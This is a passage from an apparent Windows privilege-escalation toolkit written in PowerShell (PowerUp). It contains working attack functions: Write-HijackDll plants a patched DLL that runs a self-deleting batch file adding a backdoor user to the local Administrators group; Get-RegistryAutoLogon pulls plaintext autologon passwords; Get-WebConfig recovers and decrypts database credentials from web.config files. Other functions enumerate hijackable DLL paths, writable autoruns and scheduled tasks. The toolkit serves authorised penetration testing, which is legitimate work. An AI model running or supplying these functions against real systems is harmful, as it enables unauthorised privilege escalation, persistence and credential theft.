2186 $Result
2187 }
2188}
2189
2190
2191function Restore-ServiceBinary {
2192<#
2193 .SYNOPSIS
2194
2195 Restores a service binary backed up by Install-ServiceBinary.
2196
2197 .DESCRIPTION
2198
2199 Takes a service Name or a ServiceProcess.ServiceController on the pipeline and
2200 checks for the existence of an "OriginalServiceBinary.exe.bak" in the service
2201 binary location. If it exists, the backup binary is restored to the original
2202 binary path.
2203
2204 .PARAMETER Name
2205
2206 The service name to restore a binary for.
2207
2208 .PARAMETER BackupPath
2209
2210 Optional manual path to the backup binary.
2211
2212 .EXAMPLE
2213
2214 PS C:\> Restore-ServiceBinary -Name VulnSVC
2215
2216 Restore the original binary for the service 'VulnSVC'.
2217
2218 .EXAMPLE
2219
2220 PS C:\> Get-Service VulnSVC | Restore-ServiceBinary
2221
2222 Restore the original binary for the service 'VulnSVC'.
2223
2224 .EXAMPLE
2225
2226 PS C:\> Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe'
2227
2228 Restore the original binary for the service 'VulnSVC' from a custom location.
2229#>
2230
2231 Param(
2232 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
2233 [Alias('ServiceName')]
2234 [String]
2235 [ValidateNotNullOrEmpty()]
2236 $Name,
2237
2238 [Parameter(Position = 1)]
2239 [ValidateScript({Test-Path -Path $_ })]
2240 [String]
2241 $BackupPath
2242 )
2243
2244 PROCESS {
2245
2246 $TargetService = Get-Service -Name $Name
2247
2248 $ServiceDetails = $TargetService | Get-ServiceDetail
2249
2250 $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths
2251
2252 if(-not $ModifiableFiles) {
2253 throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."
2254 }
2255
2256 $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
2257 $BackupPath = "$($ServicePath).bak"
2258
2259 Copy-Item -Path $BackupPath -Destination $ServicePath -Force
2260 Remove-Item -Path $BackupPath -Force
2261
2262 $Out = New-Object PSObject
2263 $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name
2264 $Out | Add-Member Noteproperty 'ServicePath' $ServicePath
2265 $Out | Add-Member Noteproperty 'BackupPath' $BackupPath
2266 $Out
2267 }
2268}
2269
2270
2271########################################################
2272#
2273# DLL Hijacking
2274#
2275########################################################
2276
2277function Find-ProcessDLLHijack {
2278<#
2279 .SYNOPSIS
2280
2281 Finds all DLL hijack locations for currently running processes.
2282
2283 Author: @harmj0y
2284 License: BSD 3-Clause
2285
2286 .DESCRIPTION
2287
2288 Enumerates all currently running processes with Get-Process (or accepts an
2289 input process object from Get-Process) and enumerates the loaded modules for each.
2290 All loaded module name exists outside of the process binary base path, as those
2291 are DLL load-order hijack candidates.
2292
2293 .PARAMETER Name
2294
2295 The name of a process to enumerate for possible DLL path hijack opportunities.
2296
2297 .PARAMETER ExcludeWindows
2298
2299 Exclude paths from C:\Windows\* instead of just C:\Windows\System32\*
2300
2301 .PARAMETER ExcludeProgramFiles
2302
2303 Exclude paths from C:\Program Files\* and C:\Program Files (x86)\*
2304
2305 .PARAMETER ExcludeOwned
2306
2307 Exclude processes the current user owns.
2308
2309 .EXAMPLE
2310
2311 PS C:\> Find-ProcessDLLHijack
2312
2313 Finds possible hijackable DLL locations for all processes.
2314
2315 .EXAMPLE
2316
2317 PS C:\> Get-Process VulnProcess | Find-ProcessDLLHijack
2318
2319 Finds possible hijackable DLL locations for the 'VulnProcess' processes.
2320
2321 .EXAMPLE
2322
2323 PS C:\> Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
2324
2325 Finds possible hijackable DLL locations not in C:\Windows\* and
2326 not in C:\Program Files\* or C:\Program Files (x86)\*
2327
2328 .EXAMPLE
2329
2330 PS C:\> Find-ProcessDLLHijack -ExcludeOwned
2331
2332 Finds possible hijackable DLL location for processes not owned by the
2333 current user.
2334
2335 .LINK
2336
2337 https://www.mandiant.com/blog/malware-persistence-windows-registry/
2338#>
2339
2340 [CmdletBinding()]
2341 Param(
2342 [Parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
2343 [Alias('ProcessName')]
2344 [String[]]
2345 $Name = $(Get-Process | Select-Object -Expand Name),
2346
2347 [Switch]
2348 $ExcludeWindows,
2349
2350 [Switch]
2351 $ExcludeProgramFiles,
2352
2353 [Switch]
2354 $ExcludeOwned
2355 )
2356
2357 BEGIN {
2358 # the known DLL cache to exclude from our findings
2359 # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx
2360 $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs")
2361 $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName) }) | Where-Object { $_.EndsWith(".dll") }
2362 $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
2363
2364 # get the owners for all processes
2365 $Owners = @{}
2366 Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user }
2367 }
2368
2369 PROCESS {
2370
2371 ForEach ($ProcessName in $Name) {
2372
2373 $TargetProcess = Get-Process -Name $ProcessName
2374
2375 if($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($TargetProcess.Path -ne $Null)) {
2376
2377 try {
2378 $BasePath = $TargetProcess.Path | Split-Path -Parent
2379
2380 $LoadedModules = $TargetProcess.Modules
2381
2382 $ProcessOwner = $Owners[$TargetProcess.Id.ToString()]
2383
2384 ForEach ($Module in $LoadedModules){
2385
2386 $ModulePath = "$BasePath\$($Module.ModuleName)"
2387
2388 # if the module path doesn't exist in the process base path folder
2389 if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) {
2390
2391 $Exclude = $False
2392
2393 if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) {
2394 $Exclude = $True
2395 }
2396
2397 if($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) {
2398 $Exclude = $True
2399 }
2400
2401 if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) {
2402 $Exclude = $True
2403 }
2404
2405 # output the process name and hijackable path if exclusion wasn't marked
2406 if (-not $Exclude){
2407 $Out = New-Object PSObject
2408 $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName
2409 $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path
2410 $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner
2411 $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath
2412 $Out
2413 }
2414 }
2415 }
2416 }
2417 catch {
2418 Write-Verbose "Error: $_"
2419 }
2420 }
2421 }
2422 }
2423}
2424
2425
2426function Find-PathDLLHijack {
2427<#
2428 .SYNOPSIS
2429
2430 Finds all directories in the system %PATH% that are modifiable by the current user.
2431
2432 Author: @harmj0y
2433 License: BSD 3-Clause
2434
2435 .DESCRIPTION
2436
2437 Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath
2438 to return the folder paths the current user can write to. On Windows 7, if wlbsctrl.dll is
2439 written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search
2440 order loading.
2441
2442 .EXAMPLE
2443
2444 PS C:\> Find-PathDLLHijack
2445
2446 Finds all %PATH% .DLL hijacking opportunities.
2447
2448 .LINK
2449
2450 http://www.greyhathacker.net/?p=738
2451#>
2452
2453 [CmdletBinding()]
2454 Param()
2455
2456 # use -LiteralPaths so the spaces in %PATH% folders are not tokenized
2457 Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
2458 $TargetPath = $_
2459
2460 $ModifidablePaths = $TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and ($_ -ne $Null) -and ($_.ModifiablePath -ne $Null) -and ($_.ModifiablePath.Trim() -ne '')}
2461 ForEach($ModifidablePath in $ModifidablePaths) {
2462 if($ModifidablePath.ModifiablePath -ne $Null) {
2463 $ModifidablePath | Add-Member Noteproperty '%PATH%' $_
2464 $ModifidablePath
2465 }
2466 }
2467 }
2468}
2469
2470
2471function Write-HijackDll {
2472<#
2473 .SYNOPSIS
2474
2475 Patches in the path to a specified .bat (containing the specified command) into a
2476 pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location.
2477
2478 .DESCRIPTION
2479
2480 First builds a self-deleting .bat file that executes the specified -Command or local user,
2481 to add and writes the.bat out to -BatPath. The BatPath is then patched into a pre-compiled
2482 C++ DLL that is built to be hijackable by the IKEEXT service. There are two DLLs, one for
2483 x86 and one for x64, and both are contained as base64-encoded strings. The DLL is then
2484 written out to the specified OutputFile.
2485
2486 .PARAMETER DllPath
2487
2488 File name to write the generated DLL out to.
2489
2490 .PARAMETER Architecture
2491
2492 The Architecture to generate for the DLL, x86 or x64. If not specified, PowerUp
2493 will try to automatically determine the correct architecture.
2494
2495 .PARAMETER BatPath
2496
2497 Path to the .bat for the DLL to launch.
2498
2499 .PARAMETER UserName
2500
2501 The [domain\]username to add. If not given, it defaults to "john".
2502 Domain users are not created, only added to the specified localgroup.
2503
2504 .PARAMETER Password
2505
2506 The password to set for the added user. If not given, it defaults to "Password123!"
2507
2508 .PARAMETER LocalGroup
2509
2510 Local group name to add the user to (default of 'Administrators').
2511
2512 .PARAMETER Credential
2513
2514 A [Management.Automation.PSCredential] object specifying the user/password to add.
2515
2516 .PARAMETER Command
2517
2518 Custom command to execute instead of user creation.
2519#>
2520
2521 [CmdletBinding()]
2522 param(
2523 [Parameter(Mandatory=$True)]
2524 [String]
2525 [ValidateNotNullOrEmpty()]
2526 $DllPath,
2527
2528 [String]
2529 [ValidateSet('x86', 'x64')]
2530 $Architecture,
2531
2532 [String]
2533 [ValidateNotNullOrEmpty()]
2534 $BatPath,
2535
2536 [String]
2537 $UserName = 'john',
2538
2539 [String]
2540 $Password = 'Password123!',
2541
2542 [String]
2543 $LocalGroup = 'Administrators',
2544
2545 [Management.Automation.PSCredential]
2546 $Credential,
2547
2548 [String]
2549 [ValidateNotNullOrEmpty()]
2550 $Command
2551 )
2552
2553 function local:Invoke-PatchDll {
2554 <#
2555 .SYNOPSIS
2556
2557 Helpers that patches a string in a binary byte array.
2558
2559 .PARAMETER DllBytes
2560
2561 The binary blob to patch.
2562
2563 .PARAMETER SearchString
2564
2565 The string to replace in the blob.
2566
2567 .PARAMETER ReplaceString
2568
2569 The string to replace SearchString with.
2570 #>
2571
2572 [CmdletBinding()]
2573 param(
2574 [Parameter(Mandatory=$True)]
2575 [Byte[]]
2576 $DllBytes,
2577
2578 [Parameter(Mandatory=$True)]
2579 [String]
2580 $SearchString,
2581
2582 [Parameter(Mandatory=$True)]
2583 [String]
2584 $ReplaceString
2585 )
2586
2587 $ReplaceStringBytes = ([System.Text.Encoding]::UTF8).GetBytes($ReplaceString)
2588
2589 $Index = 0
2590 $S = [System.Text.Encoding]::ASCII.GetString($DllBytes)
2591 $Index = $S.IndexOf($SearchString)
2592
2593 if($Index -eq 0) {
2594 throw("Could not find string $SearchString !")
2595 }
2596
2597 for ($i=0; $i -lt $ReplaceStringBytes.Length; $i++) {
2598 $DllBytes[$Index+$i]=$ReplaceStringBytes[$i]
2599 }
2600
2601 return $DllBytes
2602 }
2603
2604 if($PSBoundParameters['Command']) {
2605 $BatCommand = $Command
2606 }
2607 else {
2608 if($PSBoundParameters['Credential']) {
2609 $UserNameToAdd = $Credential.UserName
2610 $PasswordToAdd = $Credential.GetNetworkCredential().Password
2611 }
2612 else {
2613 $UserNameToAdd = $UserName
2614 $PasswordToAdd = $Password
2615 }
2616
2617 if($UserNameToAdd.Contains('\')) {
2618 # only adding a domain user to the local group, no user creation
2619 $BatCommand = "net localgroup $LocalGroup $UserNameToAdd /add"
2620 }
2621 else {
2622 # create a local user and add it to the local specified group
2623 $BatCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"
2624 }
2625 }
2626
2627 if($PSBoundParameters['Architecture']) {
2628 $TargetArchitecture = $Architecture
2629 }
2630 elseif($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {
2631 $TargetArchitecture = 'x64'
2632 }
2633 else {
2634 $TargetArchitecture = 'x86'
2635 }
2636
2637 if($TargetArchitecture -eq 'x64') {
2638 [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64)
2639 }
2640 else {
2641 [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32)
2642 }
2643
2644 if($PSBoundParameters['BatPath']) {
2645 $TargetBatPath = $BatPath
2646 }
2647 else {
2648 $BasePath = $DllPath | Split-Path -Parent
2649 $TargetBatPath = "$BasePath\debug.bat"
2650 }
2651
2652 # patch in the appropriate .bat launcher path
2653 $DllBytes = Invoke-PatchDll -DllBytes $DllBytes -SearchString 'debug.bat' -ReplaceString $TargetBatPath
2654
2655 # build the launcher .bat
2656 if (Test-Path $TargetBatPath) { Remove-Item -Force $TargetBatPath }
2657
2658 "@echo off" | Out-File -Encoding ASCII -Append $TargetBatPath
2659 "start /b $BatCommand" | Out-File -Encoding ASCII -Append $TargetBatPath
2660 'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $TargetBatPath
2661
2662 Write-Verbose ".bat launcher written to: $TargetBatPath"
2663
2664 Set-Content -Value $DllBytes -Encoding Byte -Path $DllPath
2665 Write-Verbose "$TargetArchitecture DLL Hijacker written to: $DllPath"
2666
2667 $Out = New-Object PSObject
2668 $Out | Add-Member Noteproperty 'DllPath' $DllPath
2669 $Out | Add-Member Noteproperty 'Architecture' $TargetArchitecture
2670 $Out | Add-Member Noteproperty 'BatLauncherPath' $TargetBatPath
2671 $Out | Add-Member Noteproperty 'Command' $BatCommand
2672 $Out
2673}
2674
2675
2676########################################################
2677#
2678# Registry Checks
2679#
2680########################################################
2681
2682function Get-RegistryAlwaysInstallElevated {
2683<#
2684 .SYNOPSIS
2685
2686 Checks if any of the AlwaysInstallElevated registry keys are set.
2687
2688 .DESCRIPTION
2689
2690 Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
2691 or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys
2692 are set, $False otherwise. If one of these keys are set, then all .MSI files run with
2693 elevated permissions, regardless of current user permissions.
2694
2695 .EXAMPLE
2696
2697 PS C:\> Get-RegistryAlwaysInstallElevated
2698
2699 Returns $True if any of the AlwaysInstallElevated registry keys are set.
2700#>
2701
2702 [CmdletBinding()]
2703 Param()
2704
2705 $OrigError = $ErrorActionPreference
2706 $ErrorActionPreference = "SilentlyContinue"
2707
2708 if (Test-Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer") {
2709
2710 $HKLMval = (Get-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue)
2711 Write-Verbose "HKLMval: $($HKLMval.AlwaysInstallElevated)"
2712
2713 if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){
2714
2715 $HKCUval = (Get-ItemProperty -Path "HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue)
2716 Write-Verbose "HKCUval: $($HKCUval.AlwaysInstallElevated)"
2717
2718 if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){
2719 Write-Verbose "AlwaysInstallElevated enabled on this machine!"
2720 $True
2721 }
2722 else{
2723 Write-Verbose "AlwaysInstallElevated not enabled on this machine."
2724 $False
2725 }
2726 }
2727 else{
2728 Write-Verbose "AlwaysInstallElevated not enabled on this machine."
2729 $False
2730 }
2731 }
2732 else{
2733 Write-Verbose "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist"
2734 $False
2735 }
2736
2737 $ErrorActionPreference = $OrigError
2738}
2739
2740
2741function Get-RegistryAutoLogon {
2742<#
2743 .SYNOPSIS
2744
2745 Finds any autologon credentials left in the registry.
2746
2747 .DESCRIPTION
2748
2749 Checks if any autologon accounts/credentials are set in a number of registry locations.
2750 If they are, the credentials are extracted and returned as a custom PSObject.
2751
2752 .EXAMPLE
2753
2754 PS C:\> Get-RegistryAutoLogon
2755
2756 Finds any autologon credentials left in the registry.
2757
2758 .LINK
2759
2760 https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb
2761#>
2762
2763 [CmdletBinding()]
2764 Param()
2765
2766 $AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue)
2767
2768 Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)"
2769
2770 if ($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) {
2771
2772 $DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName
2773 $DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName
2774 $DefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword
2775 $AltDefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultDomainName -ErrorAction SilentlyContinue).AltDefaultDomainName
2776 $AltDefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultUserName -ErrorAction SilentlyContinue).AltDefaultUserName
2777 $AltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword
2778
2779 if ($DefaultUserName -or $AltDefaultUserName) {
2780 $Out = New-Object PSObject
2781 $Out | Add-Member Noteproperty 'DefaultDomainName' $DefaultDomainName
2782 $Out | Add-Member Noteproperty 'DefaultUserName' $DefaultUserName
2783 $Out | Add-Member Noteproperty 'DefaultPassword' $DefaultPassword
2784 $Out | Add-Member Noteproperty 'AltDefaultDomainName' $AltDefaultDomainName
2785 $Out | Add-Member Noteproperty 'AltDefaultUserName' $AltDefaultUserName
2786 $Out | Add-Member Noteproperty 'AltDefaultPassword' $AltDefaultPassword
2787 $Out
2788 }
2789 }
2790}
2791
2792function Get-ModifiableRegistryAutoRun {
2793<#
2794 .SYNOPSIS
2795
2796 Returns any elevated system autoruns in which the current user can
2797 modify part of the path string.
2798
2799 .DESCRIPTION
2800
2801 Enumerates a number of autorun specifications in HKLM and filters any
2802 autoruns through Get-ModifiablePath, returning any file/config locations
2803 in the found path strings that the current user can modify.
2804
2805 .EXAMPLE
2806
2807 PS C:\> Get-ModifiableRegistryAutoRun
2808
2809 Return vulneable autorun binaries (or associated configs).
2810#>
2811
2812 [CmdletBinding()]
2813 Param()
2814
2815 $SearchLocations = @( "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
2816 "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
2817 "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run",
2818 "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce",
2819 "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService",
2820 "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService",
2821 "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService",
2822 "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService"
2823 )
2824
2825 $OrigError = $ErrorActionPreference
2826 $ErrorActionPreference = "SilentlyContinue"
2827
2828 $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object {
2829
2830 $Keys = Get-Item -Path $_
2831 $ParentPath = $_
2832
2833 ForEach ($Name in $Keys.GetValueNames()) {
2834
2835 $Path = $($Keys.GetValue($Name))
2836
2837 $Path | Get-ModifiablePath | ForEach-Object {
2838 $Out = New-Object PSObject
2839 $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name"
2840 $Out | Add-Member Noteproperty 'Path' $Path
2841 $Out | Add-Member Noteproperty 'ModifiableFile' $_
2842 $Out
2843 }
2844 }
2845 }
2846
2847 $ErrorActionPreference = $OrigError
2848}
2849
2850
2851########################################################
2852#
2853# Miscellaneous checks
2854#
2855########################################################
2856
2857function Get-ModifiableScheduledTaskFile {
2858<#
2859 .SYNOPSIS
2860
2861 Returns scheduled tasks where the current user can modify any file
2862 in the associated task action string.
2863
2864 .DESCRIPTION
2865
2866 Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks"
2867 and parses the XML specification for each task, extracting the command triggers.
2868 Each trigger string is filtered through Get-ModifiablePath, returning any file/config
2869 locations in the found path strings that the current user can modify.
2870
2871 .EXAMPLE
2872
2873 PS C:\> Get-ModifiableScheduledTaskFile
2874
2875 Return scheduled tasks with modifiable command strings.
2876#>
2877
2878 [CmdletBinding()]
2879 Param()
2880
2881 $OrigError = $ErrorActionPreference
2882 $ErrorActionPreference = "SilentlyContinue"
2883
2884 $Path = "$($ENV:windir)\System32\Tasks"
2885
2886 # recursively enumerate all schtask .xmls
2887 Get-ChildItem -Path $Path -Recurse | Where-Object { -not $_.PSIsContainer } | ForEach-Object {
2888 try {
2889 $TaskName = $_.Name
2890 $TaskXML = [xml] (Get-Content $_.FullName)
2891 if($TaskXML.Task.Triggers) {
2892
2893 $TaskTrigger = $TaskXML.Task.Triggers.OuterXML
2894
2895 # check schtask command
2896 $TaskXML.Task.Actions.Exec.Command | Get-ModifiablePath | ForEach-Object {
2897 $Out = New-Object PSObject
2898 $Out | Add-Member Noteproperty 'TaskName' $TaskName
2899 $Out | Add-Member Noteproperty 'TaskFilePath' $_
2900 $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger
2901 $Out
2902 }
2903
2904 # check schtask arguments
2905 $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiablePath | ForEach-Object {
2906 $Out = New-Object PSObject
2907 $Out | Add-Member Noteproperty 'TaskName' $TaskName
2908 $Out | Add-Member Noteproperty 'TaskFilePath' $_
2909 $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger
2910 $Out
2911 }
2912 }
2913 }
2914 catch {
2915 Write-Verbose "Error: $_"
2916 }
2917 }
2918
2919 $ErrorActionPreference = $OrigError
2920}
2921
2922
2923function Get-UnattendedInstallFile {
2924<#
2925 .SYNOPSIS
2926
2927 Checks several locations for remaining unattended installation files,
2928 which may have deployment credentials.
2929
2930 .EXAMPLE
2931
2932 PS C:\> Get-UnattendedInstallFile
2933
2934 Finds any remaining unattended installation files.
2935
2936 .LINK
2937
2938 http://www.fuzzysecurity.com/tutorials/16.html
2939#>
2940
2941 $OrigError = $ErrorActionPreference
2942 $ErrorActionPreference = "SilentlyContinue"
2943
2944 $SearchLocations = @( "c:\sysprep\sysprep.xml",
2945 "c:\sysprep\sysprep.inf",
2946 "c:\sysprep.inf",
2947 (Join-Path $Env:WinDir "\Panther\Unattended.xml"),
2948 (Join-Path $Env:WinDir "\Panther\Unattend\Unattended.xml"),
2949 (Join-Path $Env:WinDir "\Panther\Unattend.xml"),
2950 (Join-Path $Env:WinDir "\Panther\Unattend\Unattend.xml"),
2951 (Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"),
2952 (Join-Path $Env:WinDir "\System32\Sysprep\Panther\unattend.xml")
2953 )
2954
2955 # test the existence of each path and return anything found
2956 $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object {
2957 $Out = New-Object PSObject
2958 $Out | Add-Member Noteproperty 'UnattendPath' $_
2959 $Out
2960 }
2961
2962 $ErrorActionPreference = $OrigError
2963}
2964
2965
2966function Get-WebConfig {
2967<#
2968 .SYNOPSIS
2969
2970 This script will recover cleartext and encrypted connection strings from all web.config
2971 files on the system. Also, it will decrypt them if needed.
2972
2973 Author: Scott Sutherland - 2014, NetSPI
2974 Author: Antti Rantasaari - 2014, NetSPI
2975
2976 .DESCRIPTION
2977
2978 This script will identify all of the web.config files on the system and recover the
2979 connection strings used to support authentication to backend databases. If needed, the
2980 script will also decrypt the connection strings on the fly. The output supports the
2981 pipeline which can be used to convert all of the results into a pretty table by piping
2982 to format-table.
2983
2984 .EXAMPLE
2985
2986 Return a list of cleartext and decrypted connect strings from web.config files.
2987
2988 PS C:\> Get-WebConfig
2989 user : s1admin
2990 pass : s1password
2991 dbserv : 192.168.1.103\server1
2992 vdir : C:\test2
2993 path : C:\test2\web.config
2994 encr : No
2995
2996 user : s1user
2997 pass : s1password
2998 dbserv : 192.168.1.103\server1
2999 vdir : C:\inetpub\wwwroot
3000 path : C:\inetpub\wwwroot\web.config
3001 encr : Yes
3002
3003 .EXAMPLE
3004
3005 Return a list of clear text and decrypted connect strings from web.config files.
3006
3007 PS C:\>get-webconfig | Format-Table -Autosize
3008
3009 user pass dbserv vdir path encr
3010 ---- ---- ------ ---- ---- ----
3011 s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No
3012 s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No
3013 s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No
3014 s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes
3015 s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No
3016
3017 .LINK
3018
3019 https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
3020 http://www.netspi.com
3021 https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx
3022 http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
3023 http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx
3024
3025 .NOTES
3026
3027 Below is an alterantive method for grabbing connection strings, but it doesn't support decryption.
3028 for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings
3029#>
3030
3031 [CmdletBinding()]
3032 Param()
3033
3034 $OrigError = $ErrorActionPreference
3035 $ErrorActionPreference = "SilentlyContinue"
3036
3037 # Check if appcmd.exe exists
3038 if (Test-Path ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) {
3039
3040 # Create data table to house results
3041 $DataTable = New-Object System.Data.DataTable
3042
3043 # Create and name columns in the data table
3044 $Null = $DataTable.Columns.Add("user")
3045 $Null = $DataTable.Columns.Add("pass")
3046 $Null = $DataTable.Columns.Add("dbserv")
3047 $Null = $DataTable.Columns.Add("vdir")
3048 $Null = $DataTable.Columns.Add("path")
3049 $Null = $DataTable.Columns.Add("encr")
3050
3051 # Get list of virtual directories in IIS
3052 C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath |
3053 ForEach-Object {
3054
3055 $CurrentVdir = $_
3056
3057 # Converts CMD style env vars (%) to powershell env vars (env)
3058 if ($_ -like "*%*") {
3059 $EnvarName = "`$Env:"+$_.split("%")[1]
3060 $EnvarValue = Invoke-Expression $EnvarName
3061 $RestofPath = $_.split("%")[2]
3062 $CurrentVdir = $EnvarValue+$RestofPath
3063 }
3064
3065 # Search for web.config files in each virtual directory
3066 $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | ForEach-Object {
3067
3068 # Set web.config path
3069 $CurrentPath = $_.fullname
3070
3071 # Read the data from the web.config xml file
3072 [xml]$ConfigFile = Get-Content $_.fullname
3073
3074 # Check if the connectionStrings are encrypted
3075 if ($ConfigFile.configuration.connectionStrings.add) {
3076
3077 # Foreach connection string add to data table
3078 $ConfigFile.configuration.connectionStrings.add|
3079 ForEach-Object {
3080
3081 [String]$MyConString = $_.connectionString
3082 if($MyConString -like "*password*") {
3083 $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
3084 $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
3085 $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
3086 $ConfVdir = $CurrentVdir
3087 $ConfPath = $CurrentPath
3088 $ConfEnc = "No"
3089 $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc)
3090 }
3091 }
3092 }
3093 else {
3094
3095 # Find newest version of aspnet_regiis.exe to use (it works with older versions)
3096 $AspnetRegiisPath = Get-ChildItem -Path "$Env:SystemRoot\Microsoft.NET\Framework\" -Recurse -filter 'aspnet_regiis.exe' | Sort-Object -Descending | Select-Object fullname -First 1
3097
3098 # Check if aspnet_regiis.exe exists
3099 if (Test-Path ($AspnetRegiisPath.FullName)) {
3100
3101 # Setup path for temp web.config to the current user's temp dir
3102 $WebConfigPath = (Get-Item $Env:temp).FullName + "\web.config"
3103
3104 # Remove existing temp web.config
3105 if (Test-Path ($WebConfigPath)) {
